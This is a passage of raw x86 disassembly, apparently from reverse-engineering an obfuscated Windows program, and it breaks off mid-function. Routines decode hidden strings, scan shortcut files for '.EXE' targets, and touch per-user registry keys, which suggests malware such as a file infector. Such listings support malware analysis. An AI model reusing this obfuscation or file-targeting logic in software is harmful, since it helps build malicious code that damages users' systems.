arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
push offset dword_552A24
push edi
call ds:dword_50EA3C
or eax, eax
jnz short loc_43B810
push offset byte_550140
push edi
call ds:dword_50EA3C
or eax, eax
jnz short loc_43B810
push offset dword_5529F4
push edi
call ds:dword_50EA3C
or eax, eax
jz short loc_43B820
loc_43B810: ; CODE XREF: sub_43B7D4+1Aj
; sub_43B7D4+2Aj
mov eax, [ebp+arg_0]
mov [esi], eax
push dword ptr [esi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_43B83A
; ---------------------------------------------------------------------------
loc_43B820: ; CODE XREF: sub_43B7D4+3Aj
movsx eax, word_5510AC
movsx edx, word_5511A8
add eax, edx
sub eax, 7
mov [esi], eax
mov eax, 80004002h
loc_43B83A: ; CODE XREF: sub_43B7D4+4Aj
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_43B7D4 endp
; =============== S U B R O U T I N E =======================================
sub_43B841 proc near ; CODE XREF: sub_43E491+1Bp
call sub_43B004
push offset dword_552970
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_550150, eax
push offset asc_552965 ; "\a"
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_44803C, eax
push offset byte_552959
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_4CC31C, eax
push offset byte_55294F
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_44B1A4, eax
push offset byte_552947
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_48B9F0, eax
push offset word_55293E
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_4CE9F4, eax
push offset dword_552934
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_4CD914, eax
push offset dword_55292C
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_44901C, eax
push offset word_552922
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_48B9E0, eax
push offset dword_552918
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_44802C, eax
push offset word_55290E
call sub_43AC94
push eax
call sub_43F4AF
mov ds:dword_4CDA34, eax
push offset dword_552904
call sub_43AC94
push eax
call sub_43F4AF
add esp, 60h
mov ds:dword_50EA40, eax
retn
sub_43B841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B946 proc near ; CODE XREF: sub_44757D+19Cp
var_12110 = byte ptr -12110h
var_1210C = word ptr -1210Ch
var_1210A = word ptr -1210Ah
var_12108 = dword ptr -12108h
var_12104 = byte ptr -12104h
var_12000 = word ptr -12000h
var_11FFE = byte ptr -11FFEh
var_2000 = byte ptr -2000h
var_1FFF = byte ptr -1FFFh
var_1FB3 = byte ptr -1FB3h
var_1FB2 = byte ptr -1FB2h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 12110h
call sub_44797C
push ebx
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_12104]
push eax
call sub_44799C
lea ecx, [ebp+var_12104]
or eax, 0FFFFFFFFh
loc_43B96E: ; CODE XREF: sub_43B946+2Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43B96E
movsx ebx, word_551104
movsx edx, word_551144
add ebx, edx
sub ebx, 5
mov esi, eax
sub esi, ebx
mov ebx, dword_551184
sub ebx, 8
mov [ebp+esi+var_12104], bl
movsx eax, word_551120
mov edx, eax
add edx, dword_5510A4
sub edx, 0Ch
push edx
movsx edx, word_551234
add eax, edx
sub eax, 7
push eax
push 3
movsx eax, word_5511C4
sub eax, 7
push eax
movsx eax, word_5511AC
add eax, dword_5511B0
sub eax, 0Dh
push eax
push 80000001h
lea eax, [ebp+var_12104]
push eax
call ds:dword_54FC18
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_43BC2E
movsx eax, word_5510E4
add eax, dword_5511D0
sub eax, 3
push eax
lea eax, [ebp+var_12110]
push eax
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push edi
call ds:dword_448034
mov [ebp+var_12108], eax
push edi
call ds:dword_4CDA48
mov eax, dword_551148
sub eax, 7
cmp [ebp+var_12108], eax
jz loc_43BC2E
movsx eax, word_551274
cmp [ebp+eax+var_2000], 4Ch
jnz loc_43BC2E
movzx esi, [ebp+var_1FB3]
movzx ebx, [ebp+var_1FB2]
movzx ebx, bx
shl ebx, 8
or esi, ebx
mov [ebp+var_1210A], si
movsx eax, word_551170
movzx edx, [ebp+var_1210A]
lea eax, [eax+edx+4Dh]
mov [ebp+var_12000], ax
movzx eax, [ebp+var_12000]
movsx eax, [ebp+eax+var_1FFF]
movsx edx, word_5510E4
add edx, dword_55119C
sub edx, 7
cmp eax, edx
jz loc_43BC2E
mov eax, dword_551118
add eax, dword_5510E0
sub eax, 9
movzx edx, [ebp+var_12000]
mov ecx, dword_551124
add ecx, dword_551098
sub ecx, 3
add edx, ecx
movsx edx, [ebp+edx+var_1FFF]
cmp eax, edx
jnz loc_43BC2E
movzx eax, [ebp+var_12000]
mov edx, dword_551218
add edx, 0Fh
mov ecx, eax
add ecx, edx
movzx edx, [ebp+ecx+var_1FFF]
mov esi, dword_5511D0
add esi, 0Dh
movsx ebx, word_551274
add esi, ebx
mov ebx, eax
add ebx, esi
movzx esi, [ebp+ebx+var_1FFF]
movzx esi, si
shl esi, 8
mov ebx, edx
or ebx, esi
mov esi, ebx
movzx esi, si
mov ebx, eax
add ebx, esi
mov esi, ebx
mov [ebp+var_1210C], si
movzx eax, [ebp+var_1210C]
lea eax, [ebp+eax+var_1FFF]
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_44799C
lea ecx, [ebp+var_11FFE]
or eax, 0FFFFFFFFh
loc_43BB65: ; CODE XREF: sub_43B946+224j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43BB65
mov edi, eax
movsx eax, word_5510CC
sub eax, 1
mov edx, edi
sub edx, eax
cmp [ebp+edx+var_11FFE], 2Eh
jnz short loc_43BBF6
mov eax, dword_551138
movsx edx, word_551228
add eax, edx
sub eax, 7
mov edx, edi
sub edx, eax
movsx eax, [ebp+edx+var_11FFE]
push eax
call ds:dword_44803C
add esp, 4
cmp eax, 58h
jnz short loc_43BBF6
movsx esi, word_551224
sub esi, 1
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_44803C
add esp, 4
cmp eax, 45h
jnz short loc_43BBF6
mov esi, edi
sub esi, dword_551200
movsx esi, [ebp+esi+var_11FFE]
push esi
call ds:dword_44803C
add esp, 4
cmp eax, 45h
jz short loc_43BBF8
loc_43BBF6: ; CODE XREF: sub_43B946+23Ej
; sub_43B946+26Aj ...
jmp short loc_43BC2E
; ---------------------------------------------------------------------------
loc_43BBF8: ; CODE XREF: sub_43B946+2AEj
push offset byte_5528FF
call sub_43AC94
push eax
lea edi, [ebp+var_11FFE]
push edi
call ds:dword_44802C
mov eax, dword_551100
add eax, dword_551148
sub eax, 7
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_43C506
add esp, 14h
loc_43BC2E: ; CODE XREF: sub_43B946+ABj
; sub_43B946+F7j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43B946 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BC33 proc near ; DATA XREF: sub_43E491+276o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push edi
mov eax, [ebp+arg_4]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_44B5C8
pop edi
pop ebp
retn 10h
sub_43BC33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BC51 proc near ; CODE XREF: sub_43BCA0+9p
; sub_43F031+Cp ...
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
movsx eax, word_551170
dec eax
cmp eax, dword_5512AC
jz short loc_43BC6F
xor eax, eax
inc eax
jmp short locret_43BC9E
; ---------------------------------------------------------------------------
loc_43BC6F: ; CODE XREF: sub_43BC51+17j
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
call ds:dword_550028
cmp [ebp+var_84], 2
jnz short loc_43BC99
mov dword_5512AC, 1
loc_43BC99: ; CODE XREF: sub_43BC51+3Cj
mov eax, dword_5512AC
locret_43BC9E: ; CODE XREF: sub_43BC51+1Cj
leave
retn
sub_43BC51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BCA0 proc near ; CODE XREF: sub_440485+BFp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push eax
push edi
mov edi, [ebp+arg_0]
call sub_43BC51
or eax, eax
jz short loc_43BCD6
push dword_5512B0
push 1
push edi
call ds:dword_54EA68
mov [ebp+var_4], eax
push dword_5512B0
push 4
push edi
call ds:dword_54EA68
mov [ebp+var_8], eax
loc_43BCD6: ; CODE XREF: sub_43BCA0+10j
pop edi
leave
retn
sub_43BCA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BCD9 proc near ; CODE XREF: sub_441AE5+1D0p
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
push 0
push 0
push 3
push 0
push 0
push 80000000h
push offset dword_4CC330
call ds:dword_54FC18
mov edi, eax
movsx eax, word_5511C8
movsx edx, word_5510EC
lea eax, [eax+edx-8]
cmp edi, eax
jnz short loc_43BD31
mov eax, dword_551258
add eax, dword_5510F4
sub eax, 3
mov edx, dword_551270
sub edx, 5
mov [esi+eax], dl
jmp short loc_43BDA5
; ---------------------------------------------------------------------------
loc_43BD31: ; CODE XREF: sub_43BCD9+3Aj
push 0
mov eax, dword_55121C
add eax, dword_5510D0
sub eax, 4
push eax
push [ebp+arg_4]
push edi
call ds:dword_550030
movsx eax, word_5510CC
movsx edx, word_5510A0
add eax, edx
sub eax, 0Ch
push eax
lea eax, [ebp+var_4]
push eax
movsx eax, word_55123C
add eax, 11h
push eax
push esi
push edi
call ds:dword_448034
mov ebx, eax
push edi
call ds:dword_4CDA48
movsx eax, word_551188
add eax, dword_5511FC
sub eax, 5
cmp ebx, eax
jnz short loc_43BDA5
mov eax, dword_5511A0
mov edx, dword_5510FC
sub edx, 2
mov [esi+eax], dl
loc_43BDA5: ; CODE XREF: sub_43BCD9+56j
; sub_43BCD9+B9j
pop edi
pop esi
pop ebx
leave
retn
sub_43BCD9 endp
; =============== S U B R O U T I N E =======================================
sub_43BDAA proc near ; CODE XREF: sub_43C10A+27Ap
arg_0 = dword ptr 4
push esi
push edi
mov esi, [esp+8+arg_0]
mov edi, esi
mov eax, dword_551178
add eax, 4
movsx edx, word_5511A8
add eax, edx
cmp edi, eax
jge short loc_43BE01
mov eax, dword_551218
add eax, dword_5510A4
sub eax, 5
imul edi, eax
movsx eax, word_551094
movsx edx, word_55120C
lea eax, [eax+edx+1]
mov edx, dword_55126C
sub edx, 7
mov ecx, esi
add ecx, edx
imul eax, ecx
sub edi, eax
jmp loc_43BF44
; ---------------------------------------------------------------------------
loc_43BE01: ; CODE XREF: sub_43BDAA+1Bj
dec edi
mov eax, dword_5510D4
add eax, 4
add eax, dword_5511D4
cmp edi, eax
jge short loc_43BE41
mov eax, dword_5510BC
add eax, 2
add eax, dword_5510C8
imul eax, edi
mov edi, eax
sub eax, esi
mov edx, dword_55117C
add edx, 7
add edx, dword_551158
mov edi, eax
sub edi, edx
jmp loc_43BF44
; ---------------------------------------------------------------------------
loc_43BE41: ; CODE XREF: sub_43BDAA+68j
dec edi
movsx eax, word_551274
add eax, 21h
cmp edi, eax
jge short loc_43BE6A
mov eax, dword_5510D0
dec eax
imul eax, edi
mov edi, eax
mov eax, dword_5511C0
add eax, 42h
sub edi, eax
jmp loc_43BF44
; ---------------------------------------------------------------------------
loc_43BE6A: ; CODE XREF: sub_43BDAA+A4j
dec edi
movsx eax, word_551260
add eax, 1Bh
cmp edi, eax
jge short loc_43BE9F
mov eax, dword_5511A0
add eax, dword_551124
sub eax, 7
imul edi, eax
mov eax, dword_55117C
add eax, 3Ah
add eax, dword_551244
sub edi, eax
jmp loc_43BF44
; ---------------------------------------------------------------------------
loc_43BE9F: ; CODE XREF: sub_43BDAA+CDj
dec edi
mov eax, dword_551178
add eax, 24h
movsx edx, word_551140
add eax, edx
cmp edi, eax
jge short loc_43BEDF
movsx eax, word_551214
movsx edx, word_551268
add eax, edx
sub eax, 4
imul eax, edi
mov edi, eax
mov eax, dword_5510BC
add eax, 4Bh
add eax, dword_551124
sub edi, eax
jmp short loc_43BF44
; ---------------------------------------------------------------------------
loc_43BEDF: ; CODE XREF: sub_43BDAA+109j
dec edi
mov eax, dword_551174
add eax, 32h
movsx edx, word_55115C
add eax, edx
cmp edi, eax
jge short loc_43BF0C
mov eax, dword_5511B0
sub eax, 5
imul edi, eax
mov eax, dword_551264
add eax, 67h
sub edi, eax
jmp short loc_43BF44
; ---------------------------------------------------------------------------
loc_43BF0C: ; CODE XREF: sub_43BDAA+149j
dec edi
mov eax, dword_55116C
add eax, 30h
cmp edi, eax
jge short loc_43BF38
mov eax, dword_551230
add eax, dword_55126C
sub eax, 0Bh
imul edi, eax
movsx eax, word_5511BC
add eax, 6Bh
sub edi, eax
jmp short loc_43BF44
; ---------------------------------------------------------------------------
loc_43BF38: ; CODE XREF: sub_43BDAA+16Dj
movsx eax, word_5510F0
add eax, 36h
sub edi, eax
loc_43BF44: ; CODE XREF: sub_43BDAA+52j
; sub_43BDAA+92j ...
mov eax, edi
pop edi
pop esi
retn
sub_43BDAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BF49 proc near ; DATA XREF: sub_441AE5+11Bo
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 21Ch
push ebx
push esi
push edi
lea eax, [ebp+var_210]
push eax
push offset dword_44B0A0
call sub_43E369
add esp, 8
mov [ebp+var_208], eax
mov ecx, dword_5511F4
sub ecx, 5
cmp eax, ecx
jnz short loc_43BF83
xor eax, eax
jmp loc_43C105
; ---------------------------------------------------------------------------
loc_43BF83: ; CODE XREF: sub_43BF49+31j
mov eax, dword_551114
add eax, dword_551154
sub eax, 5
mov [ebp+var_204], eax
loc_43BF97: ; CODE XREF: sub_43BF49+1A8j
mov eax, [ebp+var_204]
mov edx, [ebp+var_208]
lea ecx, [edx+eax]
or eax, 0FFFFFFFFh
loc_43BFA9: ; CODE XREF: sub_43BF49+65j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43BFA9
mov [ebp+var_20C], eax
cmp [ebp+var_20C], 0FFh
jnb short loc_43BFDE
mov eax, [ebp+var_204]
add eax, 1
add eax, [ebp+var_208]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_44799C
loc_43BFDE: ; CODE XREF: sub_43BF49+77j
movsx eax, word_5510F0
mov esi, eax
add esi, dword_55118C
sub esi, 3
jmp short loc_43C017
; ---------------------------------------------------------------------------
loc_43BFF2: ; CODE XREF: sub_43BF49+E0j
cmp [ebp+esi+var_FF], 28h
jnz short loc_43C004
mov [ebp+esi+var_FF], 2Bh
loc_43C004: ; CODE XREF: sub_43BF49+B1j
cmp [ebp+esi+var_FF], 29h
jnz short loc_43C016
mov [ebp+esi+var_FF], 3Dh
loc_43C016: ; CODE XREF: sub_43BF49+C3j
inc esi
loc_43C017: ; CODE XREF: sub_43BF49+A7j
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_43C020: ; CODE XREF: sub_43BF49+DCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43C020
cmp esi, eax
jb short loc_43BFF2
push 0FFh
lea eax, [ebp+var_1FE]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_4427A1
add esp, 0Ch
mov ebx, eax
mov edi, dword_551204
sub edi, 3
jmp short loc_43C081
; ---------------------------------------------------------------------------
loc_43C053: ; CODE XREF: sub_43BF49+13Aj
movsx eax, [ebp+edi+var_1FE]
mov [ebp+var_218], eax
mov eax, edi
mul edi
mov [ebp+var_21C], eax
mov eax, [ebp+var_218]
mov edx, [ebp+var_21C]
sub eax, edx
mov [ebp+edi+var_1FE], al
inc edi
loc_43C081: ; CODE XREF: sub_43BF49+108j
cmp edi, ebx
jb short loc_43C053
mov eax, dword_5510D0
sub eax, 3
push eax
push [ebp+arg_0]
lea eax, [ebp+var_1FE]
push eax
call sub_442127
add esp, 0Ch
mov [ebp+var_214], eax
mov eax, dword_5511F4
add eax, 0FFFAh
cmp [ebp+var_214], eax
jz short loc_43C0C9
push [ebp+var_208]
call ds:dword_44B5CC
xor eax, eax
inc eax
jmp short loc_43C105
; ---------------------------------------------------------------------------
loc_43C0C9: ; CODE XREF: sub_43BF49+16Dj
mov eax, [ebp+var_20C]
add [ebp+var_204], eax
movsx eax, word_551268
add eax, 2
add [ebp+var_204], eax
mov eax, [ebp+var_210]
cmp [ebp+var_204], eax
jb loc_43BF97
push [ebp+var_208]
call ds:dword_44B5CC
xor eax, eax
loc_43C105: ; CODE XREF: sub_43BF49+35j
; sub_43BF49+17Ej
pop edi
pop esi
pop ebx
leave
retn
sub_43BF49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C10A proc near ; CODE XREF: sub_441AE5+210p
; sub_442CE5+26p ...
var_120A = byte ptr -120Ah
var_110B = byte ptr -110Bh
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 120Ch
call sub_44797C
push ebx
push esi
push edi
push offset dword_5524F0
call sub_43AC94
push eax
lea edi, [ebp+var_FFF]
push edi
call ds:dword_50EA28
add esp, 0Ch
mov eax, dword_5510A8
movsx edx, word_55115C
mov esi, eax
add esi, edx
sub esi, 0Bh
jmp short loc_43C164
; ---------------------------------------------------------------------------
loc_43C14A: ; CODE XREF: sub_43C10A+60j
cmp [ebp+esi+var_FFF], 23h
jnz short loc_43C163
mov eax, dword_551178
sub eax, 3
mov [ebp+esi+var_FFF], al
loc_43C163: ; CODE XREF: sub_43C10A+48j
inc esi
loc_43C164: ; CODE XREF: sub_43C10A+3Ej
cmp esi, 0FFFh
jb short loc_43C14A
mov eax, dword_551264
mov ebx, eax
add ebx, dword_5511E4
sub ebx, 8
movsx eax, word_551228
sub eax, 6
mov [ebp+var_1004], eax
mov eax, dword_5510B8
movsx edx, word_551210
add eax, edx
sub eax, 0Bh
cmp [ebp+arg_0], eax
jnz short loc_43C203
loc_43C1A2: ; CODE XREF: sub_43C10A+F7j
mov eax, [ebp+arg_4]
cmp [ebp+var_1004], eax
jnz short loc_43C1C4
lea eax, [ebp+ebx+var_FFF]
push eax
push offset dword_54EA70
call sub_44799C
jmp loc_43C463
; ---------------------------------------------------------------------------
loc_43C1C4: ; CODE XREF: sub_43C10A+A1j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_43C1CE: ; CODE XREF: sub_43C10A+C9j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43C1CE
add ebx, eax
inc [ebp+var_1004]
add ebx, 1
mov eax, dword_551248
movsx edx, word_55123C
add eax, edx
sub eax, 7
movsx edx, [ebp+ebx+var_FFF]
cmp eax, edx
jz loc_43C463
jmp short loc_43C1A2
; ---------------------------------------------------------------------------
loc_43C203: ; CODE XREF: sub_43C10A+96j
mov eax, dword_5510DC
add eax, dword_5510F4
sub eax, 9
mov [ebp+var_1004], eax
mov eax, dword_5510A4
movsx edx, word_55115C
add eax, edx
sub eax, 0Ch
mov edx, [ebp+arg_0]
movsx ecx, word_55120C
add ecx, dword_5511C0
mov [edx+eax], cl
mov eax, dword_5512B8
mov [ebp+var_1008], eax
mov ebx, dword_551258
dec ebx
loc_43C24D: ; CODE XREF: sub_43C10A+331j
push offset byte_5524E5
call sub_43AC94
push eax
lea edi, [ebp+var_110B]
push edi
call sub_44799C
lea eax, [ebp+ebx+var_FFF]
push eax
lea eax, [ebp+var_110B]
push eax
call ds:dword_44802C
add esp, 0Ch
call ds:dword_550150
mov ecx, 14h
cdq
idiv ecx
mov [ebp+var_100C], edx
movsx eax, word_55112C
sub eax, 3
cmp edx, eax
jnb loc_43C37E
push [ebp+var_1008]
lea eax, [ebp+var_120A]
push eax
call sub_443F7C
mov eax, dword_5511C0
add eax, dword_55125C
sub eax, 4
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_442127
add esp, 14h
mov edi, dword_5510E0
add edi, 0FFFEh
cmp eax, edi
jnz short loc_43C30C
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_44802C
push offset dword_5524E0
call sub_43AC94
push eax
push [ebp+arg_0]
call ds:dword_44802C
add esp, 14h
loc_43C30C: ; CODE XREF: sub_43C10A+1D9j
mov eax, dword_551148
add eax, dword_551114
sub eax, 8
push eax
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call sub_442127
add esp, 0Ch
mov edi, dword_55119C
add edi, 0FFF8h
cmp edi, eax
jnz short loc_43C378
push offset byte_5524D5
call sub_43AC94
push eax
push [ebp+arg_0]
call ds:dword_44802C
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call ds:dword_44802C
push offset dword_5524D0
call sub_43AC94
push eax
push [ebp+arg_0]
call ds:dword_44802C
add esp, 20h
loc_43C378: ; CODE XREF: sub_43C10A+231j
inc [ebp+var_1008]
loc_43C37E: ; CODE XREF: sub_43C10A+192j
push [ebp+var_1004]
call sub_43BDAA
pop ecx
mov [ebp+var_100C], eax
mov eax, dword_551148
movsx edx, word_551140
add eax, edx
sub eax, 0Ah
cmp [ebp+var_100C], eax
jnb short loc_43C40C
movsx eax, word_5511C4
movsx edx, word_55115C
add eax, edx
sub eax, 9
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_442127
add esp, 0Ch
mov edi, dword_551160
add edi, 0FFF9h
add edi, dword_551258
cmp edi, eax
jnz short loc_43C40C
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_44802C
push offset byte_5524CB
call sub_43AC94
push eax
push [ebp+arg_0]
call ds:dword_44802C
add esp, 14h
loc_43C40C: ; CODE XREF: sub_43C10A+29Dj
; sub_43C10A+2D9j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_43C416: ; CODE XREF: sub_43C10A+311j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43C416
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_5510B8
sub edx, 8
cmp eax, edx
jnz loc_43C24D
mov eax, [ebp+var_1008]
mov dword_5512B8, eax
push offset word_5524C6
call sub_43AC94
push eax
push [ebp+arg_0]
call ds:dword_44802C
add esp, 0Ch
loc_43C463: ; CODE XREF: sub_43C10A+B5j
; sub_43C10A+F1j
pop edi
pop esi
pop ebx
leave
retn
sub_43C10A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C468 proc near ; CODE XREF: sub_43A324+1A4p
; sub_43A324+222p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, dword_551264
sub esi, 3
lea eax, [ebp+var_4]
push eax
push offset dword_552A14
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr ds:0[ebx]
mov edi, eax
mov eax, dword_551130
add eax, dword_5510DC
sub eax, 0Ah
cmp edi, eax
jz short loc_43C4A7
xor eax, eax
jmp short loc_43C501
; ---------------------------------------------------------------------------
loc_43C4A7: ; CODE XREF: sub_43C468+39j
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+10h]
mov edi, eax
mov eax, dword_551108
sub eax, 2
cmp eax, edi
jnz short loc_43C4F6
push [ebp+arg_C]
push [ebp+arg_4]
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+14h]
mov edi, eax
movsx eax, word_5511C8
sub eax, 7
cmp edi, eax
jnz short loc_43C4ED
mov esi, dword_55109C
sub esi, 6
loc_43C4ED: ; CODE XREF: sub_43C468+7Aj
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43C4F6: ; CODE XREF: sub_43C468+5Bj
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, esi
loc_43C501: ; CODE XREF: sub_43C468+3Dj
pop edi
pop esi
pop ebx
leave
retn
sub_43C468 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C506 proc near ; CODE XREF: sub_43B946+2E0p
; sub_44757D+178p
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_33C = dword ptr -33Ch
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_316 = byte ptr -316h
var_212 = byte ptr -212h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 344h
push ebx
push esi
push edi
push [ebp+arg_4]
call ds:dword_50EA24
pop ecx
push [ebp+arg_0]
lea eax, [ebp+var_316]
push eax
call sub_44799C
lea ecx, [ebp+var_316]
or eax, 0FFFFFFFFh
loc_43C534: ; CODE XREF: sub_43C506+33j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43C534
mov edx, dword_551248
sub edx, 3
mov ebx, eax
sub ebx, edx
mov edx, dword_5510C8
mov [ebp+ebx+var_316], dl
movsx eax, word_551110
mov edi, eax
add edi, dword_5511B4
sub edi, 2
loc_43C567: ; CODE XREF: sub_43C506+19Fj
movsx eax, word_5511BC
mov [ebp+var_320], eax
mov edx, eax
add edx, dword_551098
sub edx, 6
mov [ebp+var_328], edx
mov eax, edi
mov [ebp+var_324], eax
mov ecx, dword_5510A8
add ecx, dword_55119C
sub ecx, 0Dh
mul ecx
mov [ebp+var_32C], eax
mov eax, [ebp+var_328]
mov edx, [ebp+var_32C]
add eax, edx
mov edx, dword_55122C
mov ecx, [ebp+var_320]
add edx, ecx
sub edx, 6
mov [ebp+eax+var_212], dl
mov eax, edi
mov ecx, dword_551244
sub ecx, 5
mul ecx
mov [ebp+var_330], eax
movsx eax, [ebp+edi+var_316]
mov edx, [ebp+var_330]
mov [ebp+edx+var_212], al
movsx eax, [ebp+edi+var_316]
mov edx, dword_55113C
add edx, dword_55117C
sub edx, 0Eh
cmp eax, edx
jnz loc_43C6A4
mov eax, dword_5510F8
mov [ebp+var_334], eax
movsx edx, word_5511C8
sub edx, 4
mov [ebp+var_33C], edx
mov eax, edi
mov [ebp+var_338], eax
mov ecx, dword_551128
sub ecx, 5
mul ecx
mov [ebp+var_340], eax
mov eax, [ebp+var_33C]
mov edx, [ebp+var_340]
add eax, edx
mov edx, [ebp+var_334]
mov ecx, edx
add edx, edx
sub edx, 8
mov [ebp+eax+var_212], dl
mov eax, edi
mov ecx, dword_551164
add ecx, 2
mul ecx
mov [ebp+var_344], eax
mov eax, dword_55110C
sub eax, 7
mov edx, [ebp+var_344]
add edx, eax
mov eax, dword_551218
movsx ecx, word_5510A0
add eax, ecx
sub eax, 8
mov [ebp+edx+var_212], al
jmp short loc_43C6AA
; ---------------------------------------------------------------------------
loc_43C6A4: ; CODE XREF: sub_43C506+105j
inc edi
jmp loc_43C567
; ---------------------------------------------------------------------------
loc_43C6AA: ; CODE XREF: sub_43C506+19Cj
mov eax, dword_5511F4
add eax, dword_5511F8
sub eax, 0Ch
cmp dword_551294, eax
jz short loc_43C72C
lea eax, [ebp+var_212]
push eax
mov eax, dword_5511F8
add eax, dword_55116C
sub eax, 10h
push eax
call ds:dword_44B5B4
mov esi, eax
mov eax, dword_551248
movsx edx, word_551170
add eax, edx
sub eax, 5
cmp esi, eax
jz short loc_43C72C
movsx eax, word_551260
sub eax, 9
cmp dword_551298, eax
jz short loc_43C74D
mov eax, dword_55118C
inc eax
neg eax
push eax
lea eax, [ebp+var_212]
push eax
movsx eax, word_551214
add eax, dword_551118
sub eax, 0Ch
push eax
call ds:dword_448024
loc_43C72C: ; CODE XREF: sub_43C506+1B8j
; sub_43C506+1EBj
push ds:dword_44B5C4
push ds:dword_4CEA00
lea eax, [ebp+var_316]
push eax
call sub_440485
add esp, 0Ch
mov [ebp+var_31C], eax
loc_43C74D: ; CODE XREF: sub_43C506+1FDj
pop edi
pop esi
pop ebx
leave
retn
sub_43C506 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C752 proc near ; CODE XREF: sub_4461CC+20Dp
var_30037 = byte ptr -30037h
var_20038 = dword ptr -20038h
var_20034 = dword ptr -20034h
var_20030 = dword ptr -20030h
var_2002C = dword ptr -2002Ch
